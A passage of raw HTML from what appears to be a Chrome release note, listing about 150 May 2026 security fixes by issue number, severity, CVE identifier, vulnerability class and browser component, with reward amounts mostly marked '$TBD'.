Passwords  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516781007"><span>[516781007</span></a><span>] </span><span>Medium</span><span> CVE-2026-14008 Uninitialized Use in WebXR  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516683433"><span>[516683433</span></a><span>] </span><span>Critical</span><span> CVE-2026-13782 Use after free in Browser  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516649133"><span>[516649133</span></a><span>] </span><span>Critical</span><span> CVE-2026-14417 Use after free in Dawn  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516457532"><span>[516457532</span></a><span>] </span><span>Critical</span><span> CVE-2026-13781 Insufficient validation of untrusted input in Skia  on  2026-05-25 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516425999"><span>[516425999</span></a><span>] </span><span>Medium</span><span> CVE-2026-14007 Insufficient policy enforcement in PermissionsPolicy  on  2026-05-25 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/515467789"><span>[515467789</span></a><span>] </span><span>High</span><span> CVE-2026-13841 Integer overflow in Skia  on  2026-05-21 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/515428315"><span>[515428315</span></a><span>] </span><span>Low</span><span> CVE-2026-14416 Out of bounds read in Dawn  on  2026-05-21 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/515426873"><span>[515426873</span></a><span>] </span><span>Low</span><span> CVE-2026-14148 Type Confusion in CSS  on  2026-05-21 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/515427046"><span>[515427046</span></a><span>] </span><span>Low</span><span> CVE-2026-14149 Use after free in Audio  on  2026-05-21 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/515423596"><span>[515423596</span></a><span>] </span><span>Medium</span><span> CVE-2026-14006 Use after free in Navigation  on  2026-05-21 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/515086856"><span>[515086856</span></a><span>] </span><span>Low</span><span> CVE-2026-14415 Inappropriate implementation in V8  on  2026-05-20 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514769383"><span>[514769383</span></a><span>] </span><span>Critical</span><span> CVE-2026-13780 Insufficient validation of untrusted input in ANGLE  on  2026-05-19 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514632767"><span>[514632767</span></a><span>] </span><span>Low</span><span> CVE-2026-14147 Inappropriate implementation in CSS  on  2026-05-19 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514609778"><span>[514609778</span></a><span>] </span><span>High</span><span> CVE-2026-13840 Insufficient policy enforcement in Canvas  on  2026-05-19 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514550047"><span>[514550047</span></a><span>] </span><span>Low</span><span> CVE-2026-14146 Inappropriate implementation in CSS  on  2026-05-19 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514538751"><span>[514538751</span></a><span>] </span><span>Medium</span><span> CVE-2026-14004 Inappropriate implementation in CSS  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514503077"><span>[514503077</span></a><span>] </span><span>Medium</span><span> CVE-2026-14003 Insufficient policy enforcement in Extensions  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514489361"><span>[514489361</span></a><span>] </span><span>Medium</span><span> CVE-2026-14002 Inappropriate implementation in Geolocation  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514485825"><span>[514485825</span></a><span>] </span><span>Low</span><span> CVE-2026-14145 Inappropriate implementation in CSS  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514481943"><span>[514481943</span></a><span>] </span><span>Medium</span><span> CVE-2026-14001 Inappropriate implementation in Network  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514461552"><span>[514461552</span></a><span>] </span><span>Medium</span><span> CVE-2026-14000 Inappropriate implementation in XML  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514449396"><span>[514449396</span></a><span>] </span><span>High</span><span> CVE-2026-13839 Inappropriate implementation in CSS  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514445398"><span>[514445398</span></a><span>] </span><span>High</span><span> CVE-2026-13838 Inappropriate implementation in CSS  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514429130"><span>[514429130</span></a><span>] </span><span>High</span><span> CVE-2026-13837 Inappropriate implementation in CSS  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514420555"><span>[514420555</span></a><span>] </span><span>High</span><span> CVE-2026-13836 Inappropriate implementation in CSS  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514338102"><span>[514338102</span></a><span>] </span><span>High</span><span> CVE-2026-13835 Inappropriate implementation in XML  on  2026-05-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514079793"><span>[514079793</span></a><span>] </span><span>Low</span><span> CVE-2026-14144 Incorrect security UI in Views on Desktop  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514073460"><span>[514073460</span></a><span>] </span><span>Low</span><span> CVE-2026-14142 Inappropriate implementation in Extensions  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514072495"><span>[514072495</span></a><span>] </span><span>Low</span><span> CVE-2026-14139 Inappropriate implementation in TabStrip  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514071697"><span>[514071697</span></a><span>] </span><span>Medium</span><span> CVE-2026-13999 Inappropriate implementation in Extensions  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514068972"><span>[514068972</span></a><span>] </span><span>Medium</span><span> CVE-2026-13996 Incorrect security UI in Permissions  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514064139"><span>[514064139</span></a><span>] </span><span>Medium</span><span> CVE-2026-13993 Incorrect security UI in WebAppInstalls  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514058566"><span>[514058566</span></a><span>] </span><span>Low</span><span> CVE-2026-14135 Insufficient validation of untrusted input in Network  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514056221"><span>[514056221</span></a><span>] </span><span>Medium</span><span> CVE-2026-13989 Insufficient policy enforcement in PageInfo  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514040614"><span>[514040614</span></a><span>] </span><span>Medium</span><span> CVE-2026-13988 Inappropriate implementation in Paint  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514039947"><span>[514039947</span></a><span>] </span><span>Low</span><span> CVE-2026-14133 Race in History Embeddings  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514039492"><span>[514039492</span></a><span>] </span><span>Low</span><span> CVE-2026-14132 Inappropriate implementation in WebXR  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514020982"><span>[514020982</span></a><span>] </span><span>Low</span><span> CVE-2026-14131 Insufficient validation of untrusted input in WebAppInstalls  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514020959"><span>[514020959</span></a><span>] </span><span>Medium</span><span> CVE-2026-13986 Inappropriate implementation in Media UI  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514019522"><span>[514019522</span></a><span>] </span><span>Low</span><span> CVE-2026-14130 Incorrect security UI in Omnibox  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514013849"><span>[514013849</span></a><span>] </span><span>Medium</span><span> CVE-2026-13985 Inappropriate implementation in MediaCapture  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514009654"><span>[514009654</span></a><span>] </span><span>Low</span><span> CVE-2026-14127 Inappropriate implementation in Printing  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514010404"><span>[514010404</span></a><span>] </span><span>Medium</span><span> CVE-2026-13984 Incorrect security UI in TabStrip  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514006829"><span>[514006829</span></a><span>] </span><span>Medium</span><span> CVE-2026-13982 Incorrect security UI in Passwords  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513988889"><span>[513988889</span></a><span>] </span><span>Medium</span><span> CVE-2026-13979 Inappropriate implementation in Paint  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513948227"><span>[513948227</span></a><span>] </span><span>Medium</span><span> CVE-2026-14414 Insufficient validation of untrusted input in Skia  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513925114"><span>[513925114</span></a><span>] </span><span>High</span><span> CVE-2026-13834 Insufficient validation of untrusted input in ANGLE  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513922055"><span>[513922055</span></a><span>] </span><span>High</span><span> CVE-2026-14413 Uninitialized Use in ANGLE  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513920834"><span>[513920834</span></a><span>] </span><span>High</span><span> CVE-2026-14412 Insufficient validation of untrusted input in ANGLE  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513919827"><span>[513919827</span></a><span>] </span><span>High</span><span> CVE-2026-14411 Insufficient validation of untrusted input in ANGLE  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513918431"><span>[513918431</span></a><span>] </span><span>Low</span><span> CVE-2026-14125 Uninitialized Use in ANGLE  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513866949"><span>[513866949</span></a><span>] </span><span>Medium</span><span> CVE-2026-13978 Insufficient policy enforcement in PageInfo  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513859894"><span>[513859894</span></a><span>] </span><span>Medium</span><span> CVE-2026-13977 Inappropriate implementation in HTMLParser on context element  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513858286"><span>[513858286</span></a><span>] </span><span>Medium</span><span> CVE-2026-13976 Heap buffer overflow in Storage  on  2026-05-16 </span></p><p dir="ltr"><span>[$1000.0] </span><a href="https://issuetracker.google.com/513631768"><span>[513631768</span></a><span>] </span><span>Medium</span><span> CVE-2026-14408 Uninitialized Use in Dawn Reported by [Chrovus ] on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513836996"><span>[513836996</span></a><span>] </span><span>Low</span><span> CVE-2026-14410 Inappropriate implementation in Skia  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513810921"><span>[513810921</span></a><span>] </span><span>Low</span><span> CVE-2026-14409 Inappropriate implementation in V8 Reported by [] on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513832989"><span>[513832989</span></a><span>] </span><span>Medium</span><span> CVE-2026-13973 Inappropriate implementation in UI  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513822378"><span>[513822378</span></a><span>] </span><span>High</span><span> CVE-2026-13832 Use after free in Headless  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513792140"><span>[513792140</span></a><span>] </span><span>Medium</span><span> CVE-2026-13972 Inappropriate implementation in Paint  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513789382"><span>[513789382</span></a><span>] </span><span>Low</span><span> CVE-2026-14121 Use after free in Chromoting on Linux Wayland  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513781328"><span>[513781328</span></a><span>] </span><span>High</span><span> CVE-2026-13831 Use after free in GPU  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513780208"><span>[513780208</span></a><span>] </span><span>Medium</span><span> CVE-2026-13971 Uninitialized Use in Skia  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513779283"><span>[513779283</span></a><span>] </span><span>Medium</span><span> CVE-2026-13970 Uninitialized Use in Media  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513777411"><span>[513777411</span></a><span>] </span><span>Low</span><span> CVE-2026-14120 Inappropriate implementation in DevTools  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513772764"><span>[513772764</span></a><span>] </span><span>Low</span><span> CVE-2026-14118 Insufficient data validation in DevTools  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513762145"><span>[513762145</span></a><span>] </span><span>Medium</span><span> CVE-2026-13968 Insufficient validation of untrusted input in DevTools  on  2026-05-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513751951"><span>[513751951</span></a><span>] </span><span>Medium</span><span> CVE-2026-13967 Type Confusion in V8  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513747800"><span>[513747800</span></a><span>] </span><span>Low</span><span> CVE-2026-14116 Insufficient validation of untrusted input in DevTools  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513745699"><span>[513745699</span></a><span>] </span><span>Low</span><span> CVE-2026-14115 Insufficient validation of untrusted input in Cast  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513741393"><span>[513741393</span></a><span>] </span><span>Medium</span><span> CVE-2026-13966 Inappropriate implementation in History  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513737952"><span>[513737952</span></a><span>] </span><span>Medium</span><span> CVE-2026-13965 Use after free in Oilpan  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513727626"><span>[513727626</span></a><span>] </span><span>Medium</span><span> CVE-2026-13963 Inappropriate implementation in DevTools  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513727494"><span>[513727494</span></a><span>] </span><span>High</span><span> CVE-2026-13830 Use after free in Chromoting  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513721370"><span>[513721370</span></a><span>] </span><span>Medium</span><span> CVE-2026-13962 Insufficient data validation in PDF  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513714023"><span>[513714023</span></a><span>] </span><span>Medium</span><span> CVE-2026-13960 Inappropriate implementation in Passwords  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513713946"><span>[513713946</span></a><span>] </span><span>Low</span><span> CVE-2026-14112 Inappropriate implementation in Enterprise  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513710926"><span>[513710926</span></a><span>] </span><span>Low</span><span> CVE-2026-14111 Use after free in WebProtect  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513698452"><span>[513698452</span></a><span>] </span><span>Low</span><span> CVE-2026-14110 Inappropriate implementation in DarkMode  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513694957"><span>[513694957</span></a><span>] </span><span>Low</span><span> CVE-2026-14109 Insufficient policy enforcement in Mojo  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513689974"><span>[513689974</span></a><span>] </span><span>Low</span><span> CVE-2026-14108 Use after free in PDFium  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513609249"><span>[513609249</span></a><span>] </span><span>Medium</span><span> CVE-2026-13959 Insufficient validation of untrusted input in Blink  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513586956"><span>[513586956</span></a><span>] </span><span>Medium</span><span> CVE-2026-14407 Inappropriate implementation in V8 on ARM64 due to AAPCS64 ABI Mismatch  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513553557"><span>[513553557</span></a><span>] </span><span>Medium</span><span> CVE-2026-13957 Incorrect security UI in Extensions  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513544566"><span>[513544566</span></a><span>] </span><span>Low</span><span> CVE-2026-14107 Use after free in Scheduling  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513528117"><span>[513528117</span></a><span>] </span><span>Low</span><span> CVE-2026-14105 Insufficient policy enforcement in Speech  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513515168"><span>[513515168</span></a><span>] </span><span>Medium</span><span> CVE-2026-13956 Incorrect security UI in PageInfo  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513504934"><span>[513504934</span></a><span>] </span><span>Medium</span><span> CVE-2026-13954 Insufficient policy enforcement in XML  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513484193"><span>[513484193</span></a><span>] </span><span>Low</span><span> CVE-2026-14104 Insufficient validation of untrusted input in WebAppInstalls  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513465245"><span>[513465245</span></a><span>] </span><span>Low</span><span> CVE-2026-14103 Use after free in SSL on ChromeOS  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513459192"><span>[513459192</span></a><span>] </span><span>Medium</span><span> CVE-2026-13953 Inappropriate implementation in SplitView  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513455047"><span>[513455047</span></a><span>] </span><span>Low</span><span> CVE-2026-14102 Use after free in Passwords  on  2026-05-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513435594"><span>[513435594</span></a><span>] </span><span>Medium</span><span> CVE-2026-14406 Out of bounds read in V8  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513401808"><span>[513401808</span></a><span>] </span><span>Medium</span><span> CVE-2026-13952 Inappropriate implementation in PerformanceAPIs  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513399832"><span>[513399832</span></a><span>] </span><span>High</span><span> CVE-2026-13828 Inappropriate implementation in Enterprise  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513394321"><span>[513394321</span></a><span>] </span><span>Medium</span><span> CVE-2026-13951 Policy bypass in USB on Linux-based Platforms  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513383891"><span>[513383891</span></a><span>] </span><span>Low</span><span> CVE-2026-14100 Insufficient data validation in NetworkCache  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513375767"><span>[513375767</span></a><span>] </span><span>Low</span><span> CVE-2026-14098 Inappropriate implementation in CSS  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513376037"><span>[513376037</span></a><span>] </span><span>Low</span><span> CVE-2026-14405 Uninitialized Use in V8  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513360781"><span>[513360781</span></a><span>] </span><span>Medium</span><span> CVE-2026-13950 Uninitialized Use in GPU  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513337989"><span>[513337989</span></a><span>] </span><span>Medium</span><span> CVE-2026-14404 Inappropriate implementation in PDFium  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513298483"><span>[513298483</span></a><span>] </span><span>Low</span><span> CVE-2026-14403 Use after free in V8  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513286820"><span>[513286820</span></a><span>] </span><span>Medium</span><span> CVE-2026-13948 Insufficient policy enforcement in Extensions  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513271007"><span>[513271007</span></a><span>] </span><span>Low</span><span> CVE-2026-14095 Insufficient validation of untrusted input in Browser  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513240099"><span>[513240099</span></a><span>] </span><span>Low</span><span> CVE-2026-14093 Use after free in Cast  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513226551"><span>[513226551</span></a><span>] </span><span>Medium</span><span> CVE-2026-13945 Insufficient policy enforcement in Extensions on Linux via XDG Global Shortcuts portal  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513222854"><span>[513222854</span></a><span>] </span><span>Critical</span><span> CVE-2026-13779 Use after free in Chromoting  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513212892"><span>[513212892</span></a><span>] </span><span>Low</span><span> CVE-2026-14092 Insufficient policy enforcement in Privacy  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513208773"><span>[513208773</span></a><span>] </span><span>Low</span><span> CVE-2026-14091 Use after free in DevTools  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513194241"><span>[513194241</span></a><span>] </span><span>Low</span><span> CVE-2026-14090 Out of bounds read in CameraCapture  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513188254"><span>[513188254</span></a><span>] </span><span>Low</span><span> CVE-2026-14089 Insufficient validation of untrusted input in PopupBlocker  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513186670"><span>[513186670</span></a><span>] </span><span>Medium</span><span> CVE-2026-13942 Insufficient validation of untrusted input in Video Capture  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513177497"><span>[513177497</span></a><span>] </span><span>High</span><span> CVE-2026-13824 Insufficient validation of untrusted input in Extensions  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513169718"><span>[513169718</span></a><span>] </span><span>Low</span><span> CVE-2026-14086 Insufficient policy enforcement in HID  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513163011"><span>[513163011</span></a><span>] </span><span>High</span><span> CVE-2026-13823 Use after free in Glic  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513158425"><span>[513158425</span></a><span>] </span><span>Medium</span><span> CVE-2026-13940 Uninitialized Use in Cast  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513155863"><span>[513155863</span></a><span>] </span><span>Low</span><span> CVE-2026-14085 Side-channel information leakage in CSS  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513143921"><span>[513143921</span></a><span>] </span><span>Medium</span><span> CVE-2026-13938 Integer overflow in Fonts  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513142445"><span>[513142445</span></a><span>] </span><span>High</span><span> CVE-2026-13821 Use after free in Canvas  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513138148"><span>[513138148</span></a><span>] </span><span>Low</span><span> CVE-2026-14084 Insufficient validation of untrusted input in Chromoting  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513128322"><span>[513128322</span></a><span>] </span><span>Low</span><span> CVE-2026-14083 Insufficient validation of untrusted input in HTML  on  2026-05-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513048822"><span>[513048822</span></a><span>] </span><span>High</span><span> CVE-2026-14401 Insufficient validation of untrusted input in ANGLE  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513049578"><span>[513049578</span></a><span>] </span><span>Low</span><span> CVE-2026-14082 Race in Storage  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513046494"><span>[513046494</span></a><span>] </span><span>Medium</span><span> CVE-2026-13937 Insufficient policy enforcement in Passwords  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513030698"><span>[513030698</span></a><span>] </span><span>Low</span><span> CVE-2026-14081 Insufficient policy enforcement in DevTools  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513012139"><span>[513012139</span></a><span>] </span><span>Critical</span><span> CVE-2026-13776 Type Confusion in Dawn  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513009005"><span>[513009005</span></a><span>] </span><span>Medium</span><span> CVE-2026-13935 Side-channel information leakage in ComputePressure  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513006636"><span>[513006636</span></a><span>] </span><span>Medium</span><span> CVE-2026-13934 Insufficient validation of untrusted input in Dawn on Android leads to GPU process UB  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513006745"><span>[513006745</span></a><span>] </span><span>Medium</span><span> CVE-2026-14399 Uninitialized Use in Dawn  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513002625"><span>[513002625</span></a><span>] </span><span>Medium</span><span> CVE-2026-13933 Insufficient policy enforcement in Passwords  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/512995785"><span>[512995785</span></a><span>] </span><span>Critical</span><span> CVE-2026-14398 Use after free in ANGLE  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/512986879"><span>[512986879</span></a><span>] </span><span>High</span><span> CVE-2026-13820 Out of bounds read in Skia  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/512971938"><span>[512971938</span></a><span>] </span><span>Low</span><span> CVE-2026-14079 Policy bypass in Network  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/512953564"><span>[512953564</span></a><span>] </span><span>Low</span><span> CVE-2026-14078 Policy bypass in WebRTC  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/512937764"><span>[512937764</span></a><span>] </span><span>Medium</span><span> CVE-2026-13930 Insufficient policy enforcement in Actor  on  2026-05-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/512162479"><span>[512162479</span></a><span>] </span><span>Medium</span><span> CVE-2026-13928 Insufficient validation of untrusted input in Enterprise  on  2026-05-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511823182"><span>[511823182</span></a><span>] </span><span>High</span><span> CVE-2026-13818 Inappropriate implementation in Passwords  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511815165"><span>[511815165</span></a><span>] </span><span>Low</span><span> CVE-2026-14076 Policy bypass in Network  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511766407"><span>[511766407</span></a><span>] </span><span>Critical</span><span> CVE-2026-13775 Use after free in GPU  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511748106"><span>[511748106</span></a><span>] </span><span>Medium</span><span> CVE-2026-13922 Side-channel information leakage in Paint  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511739631"><span>[511739631</span></a><span>] </span><span>High</span><span> CVE-2026-13817 Insufficient validation of untrusted input in Glic  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511738175"><span>[511738175</span></a><span>] </span><span>Medium</span><span> CVE-2026-13921 Insufficient validation of untrusted input in 